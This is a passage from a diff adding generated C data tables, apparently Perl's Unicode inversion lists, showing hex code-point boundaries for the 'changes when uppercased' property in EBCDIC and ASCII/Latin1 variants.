+	0x24C,
+	0x24D,
+	0x24E,
+	0x24F,
+	0x255,
+	0x256,
+	0x258,
+	0x259,
+	0x25A,
+	0x25B,
+	0x25D,
+	0x260,
+	0x262,
+	0x263,
+	0x264,
+	0x265,
+	0x267,
+	0x268,
+	0x26D,
+	0x26F,
+	0x270,
+	0x271,
+	0x273,
+	0x275,
+	0x276,
+	0x27D,
+	0x27E,
+	0x280,
+	0x281,
+	0x283,
+	0x284,
+	0x287,
+	0x28D,
+	0x292,
+	0x293,
+	0x29D,
+	0x29F,
+	0x345,
+	0x346,
+	0x371,
+	0x372,
+	0x373,
+	0x374,
+	0x377,
+	0x378,
+	0x37B,
+	0x37E,
+	0x390,
+	0x391,
+	0x3AC,
+	0x3CF,
+	0x3D0,
+	0x3D2,
+	0x3D5,
+	0x3D8,
+	0x3D9,
+	0x3DA,
+	0x3DB,
+	0x3DC,
+	0x3DD,
+	0x3DE,
+	0x3DF,
+	0x3E0,
+	0x3E1,
+	0x3E2,
+	0x3E3,
+	0x3E4,
+	0x3E5,
+	0x3E6,
+	0x3E7,
+	0x3E8,
+	0x3E9,
+	0x3EA,
+	0x3EB,
+	0x3EC,
+	0x3ED,
+	0x3EE,
+	0x3EF,
+	0x3F4,
+	0x3F5,
+	0x3F6,
+	0x3F8,
+	0x3F9,
+	0x3FB,
+	0x3FC,
+	0x430,
+	0x460,
+	0x461,
+	0x462,
+	0x463,
+	0x464,
+	0x465,
+	0x466,
+	0x467,
+	0x468,
+	0x469,
+	0x46A,
+	0x46B,
+	0x46C,
+	0x46D,
+	0x46E,
+	0x46F,
+	0x470,
+	0x471,
+	0x472,
+	0x473,
+	0x474,
+	0x475,
+	0x476,
+	0x477,
+	0x478,
+	0x479,
+	0x47A,
+	0x47B,
+	0x47C,
+	0x47D,
+	0x47E,
+	0x47F,
+	0x480,
+	0x481,
+	0x482,
+	0x48B,
+	0x48C,
+	0x48D,
+	0x48E,
+	0x48F,
+	0x490,
+	0x491,
+	0x492,
+	0x493,
+	0x494,
+	0x495,
+	0x496,
+	0x497,
+	0x498,
+	0x499,
+	0x49A,
+	0x49B,
+	0x49C,
+	0x49D,
+	0x49E,
+	0x49F,
+	0x4A0,
+	0x4A1,
+	0x4A2,
+	0x4A3,
+	0x4A4,
+	0x4A5,
+	0x4A6,
+	0x4A7,
+	0x4A8,
+	0x4A9,
+	0x4AA,
+	0x4AB,
+	0x4AC,
+	0x4AD,
+	0x4AE,
+	0x4AF,
+	0x4B0,
+	0x4B1,
+	0x4B2,
+	0x4B3,
+	0x4B4,
+	0x4B5,
+	0x4B6,
+	0x4B7,
+	0x4B8,
+	0x4B9,
+	0x4BA,
+	0x4BB,
+	0x4BC,
+	0x4BD,
+	0x4BE,
+	0x4BF,
+	0x4C0,
+	0x4C2,
+	0x4C3,
+	0x4C4,
+	0x4C5,
+	0x4C6,
+	0x4C7,
+	0x4C8,
+	0x4C9,
+	0x4CA,
+	0x4CB,
+	0x4CC,
+	0x4CD,
+	0x4CE,
+	0x4D0,
+	0x4D1,
+	0x4D2,
+	0x4D3,
+	0x4D4,
+	0x4D5,
+	0x4D6,
+	0x4D7,
+	0x4D8,
+	0x4D9,
+	0x4DA,
+	0x4DB,
+	0x4DC,
+	0x4DD,
+	0x4DE,
+	0x4DF,
+	0x4E0,
+	0x4E1,
+	0x4E2,
+	0x4E3,
+	0x4E4,
+	0x4E5,
+	0x4E6,
+	0x4E7,
+	0x4E8,
+	0x4E9,
+	0x4EA,
+	0x4EB,
+	0x4EC,
+	0x4ED,
+	0x4EE,
+	0x4EF,
+	0x4F0,
+	0x4F1,
+	0x4F2,
+	0x4F3,
+	0x4F4,
+	0x4F5,
+	0x4F6,
+	0x4F7,
+	0x4F8,
+	0x4F9,
+	0x4FA,
+	0x4FB,
+	0x4FC,
+	0x4FD,
+	0x4FE,
+	0x4FF,
+	0x500,
+	0x501,
+	0x502,
+	0x503,
+	0x504,
+	0x505,
+	0x506,
+	0x507,
+	0x508,
+	0x509,
+	0x50A,
+	0x50B,
+	0x50C,
+	0x50D,
+	0x50E,
+	0x50F,
+	0x510,
+	0x511,
+	0x512,
+	0x513,
+	0x514,
+	0x515,
+	0x516,
+	0x517,
+	0x518,
+	0x519,
+	0x51A,
+	0x51B,
+	0x51C,
+	0x51D,
+	0x51E,
+	0x51F,
+	0x520,
+	0x521,
+	0x522,
+	0x523,
+	0x524,
+	0x525,
+	0x526,
+	0x527,
+	0x528,
+	0x529,
+	0x52A,
+	0x52B,
+	0x52C,
+	0x52D,
+	0x52E,
+	0x52F,
+	0x530,
+	0x561,
+	0x588,
+	0x13F8,
+	0x13FE,
+	0x1C80,
+	0x1C89,
+	0x1D79,
+	0x1D7A,
+	0x1D7D,
+	0x1D7E,
+	0x1E01,
+	0x1E02,
+	0x1E03,
+	0x1E04,
+	0x1E05,
+	0x1E06,
+	0x1E07,
+	0x1E08,
+	0x1E09,
+	0x1E0A,
+	0x1E0B,
+	0x1E0C,
+	0x1E0D,
+	0x1E0E,
+	0x1E0F,
+	0x1E10,
+	0x1E11,
+	0x1E12,
+	0x1E13,
+	0x1E14,
+	0x1E15,
+	0x1E16,
+	0x1E17,
+	0x1E18,
+	0x1E19,
+	0x1E1A,
+	0x1E1B,
+	0x1E1C,
+	0x1E1D,
+	0x1E1E,
+	0x1E1F,
+	0x1E20,
+	0x1E21,
+	0x1E22,
+	0x1E23,
+	0x1E24,
+	0x1E25,
+	0x1E26,
+	0x1E27,
+	0x1E28,
+	0x1E29,
+	0x1E2A,
+	0x1E2B,
+	0x1E2C,
+	0x1E2D,
+	0x1E2E,
+	0x1E2F,
+	0x1E30,
+	0x1E31,
+	0x1E32,
+	0x1E33,
+	0x1E34,
+	0x1E35,
+	0x1E36,
+	0x1E37,
+	0x1E38,
+	0x1E39,
+	0x1E3A,
+	0x1E3B,
+	0x1E3C,
+	0x1E3D,
+	0x1E3E,
+	0x1E3F,
+	0x1E40,
+	0x1E41,
+	0x1E42,
+	0x1E43,
+	0x1E44,
+	0x1E45,
+	0x1E46,
+	0x1E47,
+	0x1E48,
+	0x1E49,
+	0x1E4A,
+	0x1E4B,
+	0x1E4C,
+	0x1E4D,
+	0x1E4E,
+	0x1E4F,
+	0x1E50,
+	0x1E51,
+	0x1E52,
+	0x1E53,
+	0x1E54,
+	0x1E55,
+	0x1E56,
+	0x1E57,
+	0x1E58,
+	0x1E59,
+	0x1E5A,
+	0x1E5B,
+	0x1E5C,
+	0x1E5D,
+	0x1E5E,
+	0x1E5F,
+	0x1E60,
+	0x1E61,
+	0x1E62,
+	0x1E63,
+	0x1E64,
+	0x1E65,
+	0x1E66,
+	0x1E67,
+	0x1E68,
+	0x1E69,
+	0x1E6A,
+	0x1E6B,
+	0x1E6C,
+	0x1E6D,
+	0x1E6E,
+	0x1E6F,
+	0x1E70,
+	0x1E71,
+	0x1E72,
+	0x1E73,
+	0x1E74,
+	0x1E75,
+	0x1E76,
+	0x1E77,
+	0x1E78,
+	0x1E79,
+	0x1E7A,
+	0x1E7B,
+	0x1E7C,
+	0x1E7D,
+	0x1E7E,
+	0x1E7F,
+	0x1E80,
+	0x1E81,
+	0x1E82,
+	0x1E83,
+	0x1E84,
+	0x1E85,
+	0x1E86,
+	0x1E87,
+	0x1E88,
+	0x1E89,
+	0x1E8A,
+	0x1E8B,
+	0x1E8C,
+	0x1E8D,
+	0x1E8E,
+	0x1E8F,
+	0x1E90,
+	0x1E91,
+	0x1E92,
+	0x1E93,
+	0x1E94,
+	0x1E95,
+	0x1E9C,
+	0x1EA1,
+	0x1EA2,
+	0x1EA3,
+	0x1EA4,
+	0x1EA5,
+	0x1EA6,
+	0x1EA7,
+	0x1EA8,
+	0x1EA9,
+	0x1EAA,
+	0x1EAB,
+	0x1EAC,
+	0x1EAD,
+	0x1EAE,
+	0x1EAF,
+	0x1EB0,
+	0x1EB1,
+	0x1EB2,
+	0x1EB3,
+	0x1EB4,
+	0x1EB5,
+	0x1EB6,
+	0x1EB7,
+	0x1EB8,
+	0x1EB9,
+	0x1EBA,
+	0x1EBB,
+	0x1EBC,
+	0x1EBD,
+	0x1EBE,
+	0x1EBF,
+	0x1EC0,
+	0x1EC1,
+	0x1EC2,
+	0x1EC3,
+	0x1EC4,
+	0x1EC5,
+	0x1EC6,
+	0x1EC7,
+	0x1EC8,
+	0x1EC9,
+	0x1ECA,
+	0x1ECB,
+	0x1ECC,
+	0x1ECD,
+	0x1ECE,
+	0x1ECF,
+	0x1ED0,
+	0x1ED1,
+	0x1ED2,
+	0x1ED3,
+	0x1ED4,
+	0x1ED5,
+	0x1ED6,
+	0x1ED7,
+	0x1ED8,
+	0x1ED9,
+	0x1EDA,
+	0x1EDB,
+	0x1EDC,
+	0x1EDD,
+	0x1EDE,
+	0x1EDF,
+	0x1EE0,
+	0x1EE1,
+	0x1EE2,
+	0x1EE3,
+	0x1EE4,
+	0x1EE5,
+	0x1EE6,
+	0x1EE7,
+	0x1EE8,
+	0x1EE9,
+	0x1EEA,
+	0x1EEB,
+	0x1EEC,
+	0x1EED,
+	0x1EEE,
+	0x1EEF,
+	0x1EF0,
+	0x1EF1,
+	0x1EF2,
+	0x1EF3,
+	0x1EF4,
+	0x1EF5,
+	0x1EF6,
+	0x1EF7,
+	0x1EF8,
+	0x1EF9,
+	0x1EFA,
+	0x1EFB,
+	0x1EFC,
+	0x1EFD,
+	0x1EFE,
+	0x1EFF,
+	0x1F08,
+	0x1F10,
+	0x1F16,
+	0x1F20,
+	0x1F28,
+	0x1F30,
+	0x1F38,
+	0x1F40,
+	0x1F46,
+	0x1F50,
+	0x1F58,
+	0x1F60,
+	0x1F68,
+	0x1F70,
+	0x1F7E,
+	0x1F80,
+	0x1F88,
+	0x1F90,
+	0x1F98,
+	0x1FA0,
+	0x1FA8,
+	0x1FB0,
+	0x1FB5,
+	0x1FB6,
+	0x1FB8,
+	0x1FBE,
+	0x1FBF,
+	0x1FC2,
+	0x1FC5,
+	0x1FC6,
+	0x1FC8,
+	0x1FD0,
+	0x1FD4,
+	0x1FD6,
+	0x1FD8,
+	0x1FE0,
+	0x1FE8,
+	0x1FF2,
+	0x1FF5,
+	0x1FF6,
+	0x1FF8,
+	0x214E,
+	0x214F,
+	0x2170,
+	0x2180,
+	0x2184,
+	0x2185,
+	0x24D0,
+	0x24EA,
+	0x2C30,
+	0x2C5F,
+	0x2C61,
+	0x2C62,
+	0x2C65,
+	0x2C67,
+	0x2C68,
+	0x2C69,
+	0x2C6A,
+	0x2C6B,
+	0x2C6C,
+	0x2C6D,
+	0x2C73,
+	0x2C74,
+	0x2C76,
+	0x2C77,
+	0x2C81,
+	0x2C82,
+	0x2C83,
+	0x2C84,
+	0x2C85,
+	0x2C86,
+	0x2C87,
+	0x2C88,
+	0x2C89,
+	0x2C8A,
+	0x2C8B,
+	0x2C8C,
+	0x2C8D,
+	0x2C8E,
+	0x2C8F,
+	0x2C90,
+	0x2C91,
+	0x2C92,
+	0x2C93,
+	0x2C94,
+	0x2C95,
+	0x2C96,
+	0x2C97,
+	0x2C98,
+	0x2C99,
+	0x2C9A,
+	0x2C9B,
+	0x2C9C,
+	0x2C9D,
+	0x2C9E,
+	0x2C9F,
+	0x2CA0,
+	0x2CA1,
+	0x2CA2,
+	0x2CA3,
+	0x2CA4,
+	0x2CA5,
+	0x2CA6,
+	0x2CA7,
+	0x2CA8,
+	0x2CA9,
+	0x2CAA,
+	0x2CAB,
+	0x2CAC,
+	0x2CAD,
+	0x2CAE,
+	0x2CAF,
+	0x2CB0,
+	0x2CB1,
+	0x2CB2,
+	0x2CB3,
+	0x2CB4,
+	0x2CB5,
+	0x2CB6,
+	0x2CB7,
+	0x2CB8,
+	0x2CB9,
+	0x2CBA,
+	0x2CBB,
+	0x2CBC,
+	0x2CBD,
+	0x2CBE,
+	0x2CBF,
+	0x2CC0,
+	0x2CC1,
+	0x2CC2,
+	0x2CC3,
+	0x2CC4,
+	0x2CC5,
+	0x2CC6,
+	0x2CC7,
+	0x2CC8,
+	0x2CC9,
+	0x2CCA,
+	0x2CCB,
+	0x2CCC,
+	0x2CCD,
+	0x2CCE,
+	0x2CCF,
+	0x2CD0,
+	0x2CD1,
+	0x2CD2,
+	0x2CD3,
+	0x2CD4,
+	0x2CD5,
+	0x2CD6,
+	0x2CD7,
+	0x2CD8,
+	0x2CD9,
+	0x2CDA,
+	0x2CDB,
+	0x2CDC,
+	0x2CDD,
+	0x2CDE,
+	0x2CDF,
+	0x2CE0,
+	0x2CE1,
+	0x2CE2,
+	0x2CE3,
+	0x2CE4,
+	0x2CEC,
+	0x2CED,
+	0x2CEE,
+	0x2CEF,
+	0x2CF3,
+	0x2CF4,
+	0x2D00,
+	0x2D26,
+	0x2D27,
+	0x2D28,
+	0x2D2D,
+	0x2D2E,
+	0xA641,
+	0xA642,
+	0xA643,
+	0xA644,
+	0xA645,
+	0xA646,
+	0xA647,
+	0xA648,
+	0xA649,
+	0xA64A,
+	0xA64B,
+	0xA64C,
+	0xA64D,
+	0xA64E,
+	0xA64F,
+	0xA650,
+	0xA651,
+	0xA652,
+	0xA653,
+	0xA654,
+	0xA655,
+	0xA656,
+	0xA657,
+	0xA658,
+	0xA659,
+	0xA65A,
+	0xA65B,
+	0xA65C,
+	0xA65D,
+	0xA65E,
+	0xA65F,
+	0xA660,
+	0xA661,
+	0xA662,
+	0xA663,
+	0xA664,
+	0xA665,
+	0xA666,
+	0xA667,
+	0xA668,
+	0xA669,
+	0xA66A,
+	0xA66B,
+	0xA66C,
+	0xA66D,
+	0xA66E,
+	0xA681,
+	0xA682,
+	0xA683,
+	0xA684,
+	0xA685,
+	0xA686,
+	0xA687,
+	0xA688,
+	0xA689,
+	0xA68A,
+	0xA68B,
+	0xA68C,
+	0xA68D,
+	0xA68E,
+	0xA68F,
+	0xA690,
+	0xA691,
+	0xA692,
+	0xA693,
+	0xA694,
+	0xA695,
+	0xA696,
+	0xA697,
+	0xA698,
+	0xA699,
+	0xA69A,
+	0xA69B,
+	0xA69C,
+	0xA723,
+	0xA724,
+	0xA725,
+	0xA726,
+	0xA727,
+	0xA728,
+	0xA729,
+	0xA72A,
+	0xA72B,
+	0xA72C,
+	0xA72D,
+	0xA72E,
+	0xA72F,
+	0xA730,
+	0xA733,
+	0xA734,
+	0xA735,
+	0xA736,
+	0xA737,
+	0xA738,
+	0xA739,
+	0xA73A,
+	0xA73B,
+	0xA73C,
+	0xA73D,
+	0xA73E,
+	0xA73F,
+	0xA740,
+	0xA741,
+	0xA742,
+	0xA743,
+	0xA744,
+	0xA745,
+	0xA746,
+	0xA747,
+	0xA748,
+	0xA749,
+	0xA74A,
+	0xA74B,
+	0xA74C,
+	0xA74D,
+	0xA74E,
+	0xA74F,
+	0xA750,
+	0xA751,
+	0xA752,
+	0xA753,
+	0xA754,
+	0xA755,
+	0xA756,
+	0xA757,
+	0xA758,
+	0xA759,
+	0xA75A,
+	0xA75B,
+	0xA75C,
+	0xA75D,
+	0xA75E,
+	0xA75F,
+	0xA760,
+	0xA761,
+	0xA762,
+	0xA763,
+	0xA764,
+	0xA765,
+	0xA766,
+	0xA767,
+	0xA768,
+	0xA769,
+	0xA76A,
+	0xA76B,
+	0xA76C,
+	0xA76D,
+	0xA76E,
+	0xA76F,
+	0xA770,
+	0xA77A,
+	0xA77B,
+	0xA77C,
+	0xA77D,
+	0xA77F,
+	0xA780,
+	0xA781,
+	0xA782,
+	0xA783,
+	0xA784,
+	0xA785,
+	0xA786,
+	0xA787,
+	0xA788,
+	0xA78C,
+	0xA78D,
+	0xA791,
+	0xA792,
+	0xA793,
+	0xA794,
+	0xA797,
+	0xA798,
+	0xA799,
+	0xA79A,
+	0xA79B,
+	0xA79C,
+	0xA79D,
+	0xA79E,
+	0xA79F,
+	0xA7A0,
+	0xA7A1,
+	0xA7A2,
+	0xA7A3,
+	0xA7A4,
+	0xA7A5,
+	0xA7A6,
+	0xA7A7,
+	0xA7A8,
+	0xA7A9,
+	0xA7AA,
+	0xA7B5,
+	0xA7B6,
+	0xA7B7,
+	0xA7B8,
+	0xAB53,
+	0xAB54,
+	0xAB70,
+	0xABC0,
+	0xFB00,
+	0xFB07,
+	0xFB13,
+	0xFB18,
+	0xFF41,
+	0xFF5B,
+	0x10428,
+	0x10450,
+	0x104D8,
+	0x104FC,
+	0x10CC0,
+	0x10CF3,
+	0x118C0,
+	0x118E0,
+	0x1E922,
+	0x1E944
+};
+
+#   endif	/* EBCDIC 037 */
+
+#   if 'A' == 65 /* ASCII/Latin1 */
+
+static const UV PL_CWU_invlist[] = { /* for ASCII/Latin1 */
+	1215,	/* Number of elements */
+	148565664, /* Version and data structure type */
+	1,	/* 0 if the list starts at 0;
+		   1 if it starts at the element beyond 0 */
+	0x0,
+	0x61,
+	0x7B,
+	0xB5,
+	0xB6,
+	0xDF,
+	0xF7,
+	0xF8,
+	0x100,
+	0x101,
+	0x102,
+	0x103,
+	0x104,
+	0x105,
+	0x106,
+	0x107,
+	0x108,
+	0x109,
+	0x10A,
+	0x10B,
+	0x10C,
+	0x10D,
+	0x10E,
+	0x10F,
+	0x110,
+	0x111,
+	0x112,
+	0x113,
+	0x114,
+	0x115,
+	0x116,
+	0x117,
+	0x118,
+	0x119,
+	0x11A,
+	0x11B,
+	0x11C,
+	0x11D,
+	0x11E,
+	0x11F,
+	0x120,
+	0x121,
+	0x122,
+	0x123,
+	0x124,
+	0x125,
+	0x126,
+	0x127,
+	0x128,
+	0x129,
+	0x12A,
+	0x12B,
+	0x12C,
+	0x12D,
+	0x12E,
+	0x12F,
+	0x130,
+	0x131,
+	0x132,
+	0x133,
+	0x134,
+	0x135,
+	0x136,
+	0x137,
+	0x138,
+	0x13A,
+	0x13B,
+	0x13C,
+	0x13D,
+	0x13E,
+	0x13F,
+	0x140,
+	0x141,
+	0x142,
+	0x143,
+	0x144,
+	0x145,
+	0x146,
+	0x147,
+	0x148,
+	0x14A,
+	0x14B,
+	0x14C,
+	0x14D,
+	0x14E,
+	0x14F,
+	0x150,
+	0x151,
+	0x152,
+	0x153,
+	0x154,
+	0x155,
+	0x156,
+	0x157,
+	0x158,
+	0x159,
+	0x15A,
+	0x15B,
+	0x15C,
+	0x15D,
+	0x15E,
+	0x15F,
+	0x160,
+	0x161,
+	0x162,
+	0x163,
+	0x164,
+	0x165,
+	0x166,
+	0x167,
+	0x168,
+	0x169,
+	0x16A,
+	0x16B,
+	0x16C,
+	0x16D,
+	0x16E,
+	0x16F,
+	0x170,
+	0x171,
+	0x172,
+	0x173,
+	0x174,
+	0x175,
+	0x176,
+	0x177,
+	0x178,
+	0x17A,
+	0x17B,
+	0x17C,
+	0x17D,
+	0x17E,
+	0x181,
+	0x183,
+	0x184,
+	0x185,
+	0x186,
+	0x188,
+	0x189,
+	0x18C,
+	0x18D,
+	0x192,
+	0x193,
+	0x195,
+	0x196,
+	0x199,
+	0x19B,
+	0x19E,
+	0x19F,
+	0x1A1,
+	0x1A2,
+	0x1A3,
+	0x1A4,
+	0x1A5,
+	0x1A6,
+	0x1A8,
+	0x1A9,
+	0x1AD,
+	0x1AE,
+	0x1B0,
+	0x1B1,
+	0x1B4,
+	0x1B5,
+	0x1B6,
+	0x1B7,
+	0x1B9,
+	0x1BA,
+	0x1BD,
+	0x1BE,
+	0x1BF,
+	0x1C0,
+	0x1C5,
+	0x1C7,
+	0x1C8,
+	0x1CA,
+	0x1CB,
+	0x1CD,
+	0x1CE,
+	0x1CF,
+	0x1D0,
+	0x1D1,
+	0x1D2,
+	0x1D3,
+	0x1D4,
+	0x1D5,
+	0x1D6,
+	0x1D7,
+	0x1D8,
+	0x1D9,
+	0x1DA,
+	0x1DB,
+	0x1DC,
+	0x1DE,
+	0x1DF,
+	0x1E0,
+	0x1E1,
+	0x1E2,
+	0x1E3,
+	0x1E4,
+	0x1E5,
+	0x1E6,
+	0x1E7,
+	0x1E8,
+	0x1E9,
+	0x1EA,
+	0x1EB,
+	0x1EC,
+	0x1ED,
+	0x1EE,
+	0x1EF,
+	0x1F1,
+	0x1F2,
+	0x1F4,
+	0x1F5,
+	0x1F6,
+	0x1F9,
+	0x1FA,
+	0x1FB,
+	0x1FC,
+	0x1FD,
+	0x1FE,
+	0x1FF,
+	0x200,
+	0x201,
+	0x202,
+	0x203,
+	0x204,
+	0x205,
+	0x206,
+	0x207,
+	0x208,
+	0x209,
+	0x20A,
+	0x20B,
+	0x20C,
+	0x20D,
+	0x20E,
+	0x20F,
+	0x210,
+	0x211,
+	0x212,
+	0x213,
+	0x214,
+	0x215,
+	0x216,
+	0x217,
+	0x218,
+	0x219,
+	0x21A,
+	0x21B,
+	0x21C,
+	0x21D,
+	0x21E,
+	0x21F,
+	0x220,
+	0x223,
+	0x224,
+	0x225,
+	0x226,
+	0x227,
+	0x228,
+	0x229,
+	0x22A,
+	0x22B,
+	0x22C,
+	0x22D,
+	0x22E,
+	0x22F,
+	0x230,
+	0x231,
+	0x232,
+	0x233,
+	0x234,
+	0x23C,
+	0x23D,
+	0x23F,
+	0x241,
+	0x242,
+	0x243,
+	0x247,
+	0x248,
+	0x249,
+	0x24A,
+	0x24B,
+	0x24C,
+	0x24D,
+	0x24E,
+	0x24F,
+	0x255,
+	0x256,
+	0x258,
+	0x259,
+	0x25A,
+	0x25B,
+	0x25D,
+	0x260,
+	0x262,
+	0x263,
+	0x264,
+	0x265,
+	0x267,
+	0x268,
+	0x26D,
+	0x26F,
+	0x270,
+	0x271,
+	0x273,
+	0x275,
+	0x276,
+	0x27D,
+	0x27E,
+	0x280,
+	0x281,
+	0x283,
+	0x284,
+	0x287,
+	0x28D,
+	0x292,
+	0x293,
+	0x29D,
+	0x29F,
+	0x345,
+	0x346,
+	0x371,
+	0x372,
+	0x373,
+	0x374,
+	0x377,
+	0x378,
+	0x37B,
+	0x37E,
+	0x390,
+	0x391,
+	0x3AC,
+	0x3CF,
+	0x3D0,
+	0x3D2,
+	0x3D5,
+	0x3D8,
+	0x3D9,
+	0x3DA,
+	0x3DB,
+	0x3DC,
+	0x3DD,
+	0x3DE,
+	0x3DF,
+	0x3E0,
+	0x3E1,
+	0x3E2,
+	0x3E3,
+	0x3E4,
+	0x3E5,
+	0x3E6,
+	0x3E7,
+	0x3E8,
+	0x3E9,
+	0x3EA,
+	0x3EB,
+	0x3EC,
+	0x3ED,
+	0x3EE,
+	0x3EF,
+	0x3F4,
+	0x3F5,
+	0x3F6,
+	0x3F8,
+	0x3F9,
+	0x3FB,
+	0x3FC,
+	0x430,
+	0x460,
+	0x461,
+	0x462,
+	0x463,
+	0x464,
+	0x465,
+	0x466,
+	0x467,
+	0x468,
+	0x469,
+	0x46A,
+	0x46B,
+	0x46C,
+	0x46D,
+	0x46E,
+	0x46F,
+	0x470,
+	0x471,
+	0x472,
+	0x473,
+	0x474,
+	0x475,
+	0x476,
+	0x477,
+	0x478,
+	0x479,
+	0x47A,
+	0x47B,
+	0x47C,
+	0x47D,
+	0x47E,
+	0x47F,
+	0x480,
+	0x481,
+	0x482,
+	0x48B,
+	0x48C,
+	0x48D,
+	0x48E,
+	0x48F,
+	0x490,
+	0x491,
+	0x492,
+	0x493,
+	0x494,
+	0x495,
+	0x496,
+	0x497,
+	0x498,
+	0x499,
+	0x49A,
+	0x49B,
+	0x49C,
+	0x49D,
+	0x49E,
+	0x49F,
+	0x4A0,
+	0x4A1,
+	0x4A2,
+	0x4A3,
+	0x4A4,
+	0x4A5,
+	0x4A6,
+	0x4A7,
+	0x4A8,
+	0x4A9,
+	0x4AA,
+	0x4AB,
+	0x4AC,
+	0x4AD,
+	0x4AE,
+	0x4AF,
+	0x4B0,
+	0x4B1,
+	0x4B2,
+	0x4B3,
+	0x4B4,
+	0x4B5,
+	0x4B6,
+	0x4B7,
+	0x4B8,
+	0x4B9,
+	0x4BA,
+	0x4BB,
+	0x4BC,
+	0x4BD,
+	0x4BE,
+	0x4BF,
+	0x4C0,
+	0x4C2,
+	0x4C3,
+	0x4C4,
+	0x4C5,
+	0x4C6,
+	0x4C7,
+	0x4C8,
+	0x4C9,
+	0x4CA,
+	0x4CB,
+	0x4CC,
+	0x4CD,
+	0x4CE,
+	0x4D0,
+	0x4D1,
+	0x4D2,
+	0x4D3,
+	0x4D4,
+	0x4D5,
+	0x4D6,
+	0x4D7,
+	0x4D8,
+	0x4D9,
+	0x4DA,
+	0x4DB,
+	0x4DC,
+	0x4DD,
+	0x4DE,
+	0x4DF,
+	0x4E0,
+	0x4E1,
+	0x4E2,
+	0x4E3,
+	0x4E4,
+	0x4E5,
+	0x4E6,
+	0x4E7,
+	0x4E8,
+	0x4E9,
+	0x4EA,
+	0x4EB,
+	0x4EC,
+	0x4ED,
+	0x4EE,
+	0x4EF,
+	0x4F0,
+	0x4F1,
+	0x4F2,
+	0x4F3,
+	0x4F4,
+	0x4F5,
+	0x4F6,
+	0x4F7,
+	0x4F8,
+	0x4F9,
+	0x4FA,
+	0x4FB,
+	0x4FC,
+	0x4FD,
+	0x4FE,
+	0x4FF,
+	0x500,
+	0x501,
+	0x502,
+	0x503,
+	0x504,
+	0x505,
+	0x506,
+	0x507,
+	0x508,
+	0x509,
+	0x50A,
+	0x50B,
+	0x50C,
+	0x50D,
+	0x50E,
+	0x50F,
+	0x510,
+	0x511,
+	0x512,
+	0x513,
+	0x514,
+	0x515,
+	0x516,
+	0x517,
+	0x518,
+	0x519,
+	0x51A,
+	0x51B,
+	0x51C,
+	0x51D,
+	0x51E,
+	0x51F,
+	0x520,
+	0x521,
+	0x522,
+	0x523,
+	0x524,
+	0x525,
+	0x526,
+	0x527,
+	0x528,
+	0x529,
+	0x52A,
+	0x52B,
+	0x52C,
+	0x52D,
+	0x52E,
+	0x52F,
+	0x530,
+	0x561,
+	0x588,
+	0x13F8,
+	0x13FE,
+	0x1C80,
+	0x1C89,
+	0x1D79,
+	0x1D7A,
+	0x1D7D,
+	0x1D7E,
+	0x1E01,
+	0x1E02,
+	0x1E03,
+	0x1E04,
+	0x1E05,
+	0x1E06,
+	0x1E07,
+	0x1E08,
+	0x1E09,
+	0x1E0A,
+	0x1E0B,
+	0x1E0C,
+	0x1E0D,
+	0x1E0E,
+	0x1E0F,
+	0x1E10,
+	0x1E11,
+	0x1E12,
+	0x1E13,
+	0x1E14,
+	0x1E15,
+	0x1E16,
+	0x1E17,
+	0x1E18,
+	0x1E19,
+	0x1E1A,
+	0x1E1B,
+	0x1E1C,
+	0x1E1D,
+	0x1E1E,
+	0x1E1F,
+	0x1E20,
+	0x1E21,
+	0x1E22,
+	0x1E23,
+	0x1E24,
+	0x1E25,
+	0x1E26,
+	0x1E27,
+	0x1E28,
+	0x1E29,
+	0x1E2A,
+	0x1E2B,
+	0x1E2C,
+	0x1E2D,
+	0x1E2E,
+	0x1E2F,
+	0x1E30,
+	0x1E31,
+	0x1E32,
+	0x1E33,
+	0x1E34,
+	0x1E35,
+	0x1E36,
+	0x1E37,
+	0x1E38,
+	0x1E39,
+	0x1E3A,
+	0x1E3B,
+	0x1E3C,
+	0x1E3D,
+	0x1E3E,
+	0x1E3F,
+	0x1E40,
+	0x1E41,
+	0x1E42,
+	0x1E43,
+	0x1E44,
+	0x1E45,
+	0x1E46,
+	0x1E47,
+	0x1E48,
+	0x1E49,
+	0x1E4A,
+	0x1E4B,
+	0x1E4C,
+	0x1E4D,
+	0x1E4E,
+	0x1E4F,
+	0x1E50,
+	0x1E51,
+	0x1E52,
+	0x1E53,
+	0x1E54,
+	0x1E55,
+	0x1E56,
+	0x1E57,
+	0x1E58,
+	0x1E59,
+	0x1E5A,
+	0x1E5B,
+	0x1E5C,
+	0x1E5D,
+	0x1E5E,
+	0x1E5F,
+	0x1E60,
+	0x1E61,
+	0x1E62,
+	0x1E63,
+	0x1E64,
+	0x1E65,
+	0x1E66,
+	0x1E67,
+	0x1E68,
+	0x1E69,
+	0x1E6A,
+	0x1E6B,
+	0x1E6C,
+	0x1E6D,
+	0x1E6E,
+	0x1E6F,
+	0x1E70,
+	0x1E71,
+	0x1E72,
+	0x1E73,
+	0x1E74,
+	0x1E75,
+	0x1E76,
+	0x1E77,
+	0x1E78,
+	0x1E79,
+	0x1E7A,
+	0x1E7B,
+	0x1E7C,
+	0x1E7D,
+	0x1E7E,
+	0x1E7F,
+	0x1E80,
+	0x1E81,
+	0x1E82,
+	0x1E83,
+	0x1E84,
+	0x1E85,
+	0x1E86,
+	0x1E87,
+	0x1E88,
+	0x1E89,
+	0x1E8A,
+	0x1E8B,
+	0x1E8C,
+	0x1E8D,
+	0x1E8E,
+	0x1E8F,
+	0x1E90,
+	0x1E91,
+	0x1E92,
+	0x1E93,
+	0x1E94,
+	0x1E95,
+	0x1E9C,
+	0x1EA1,
+	0x1EA2,
+	0x1EA3,
+	0x1EA4,
+	0x1EA5,
+	0x1EA6,
+	0x1EA7,
+	0x1EA8,
+	0x1EA9,
+	0x1EAA,
+	0x1EAB,
+	0x1EAC,
+	0x1EAD,
+	0x1EAE,
+	0x1EAF,
+	0x1EB0,
+	0x1EB1,
+	0x1EB2,
+	0x1EB3,
+	0x1EB4,
+	0x1EB5,
+	0x1EB6,
+	0x1EB7,
+	0x1EB8,
+	0x1EB9,
+	0x1EBA,
+	0x1EBB,
+	0x1EBC,
+	0x1EBD,
+	0x1EBE,
+	0x1EBF,
+	0x1EC0,
+	0x1EC1,
+	0x1EC2,
+	0x1EC3,
+	0x1EC4,
+	0x1EC5,
+	0x1EC6,
+	0x1EC7,
+	0x1EC8,
+	0x1EC9,
+	0x1ECA,
+	0x1ECB,
+	0x1ECC,
+	0x1ECD,
+	0x1ECE,
+	0x1ECF,
+	0x1ED0,
+	0x1ED1,
+	0x1ED2,
+	0x1ED3,
+	0x1ED4,
+	0x1ED5,
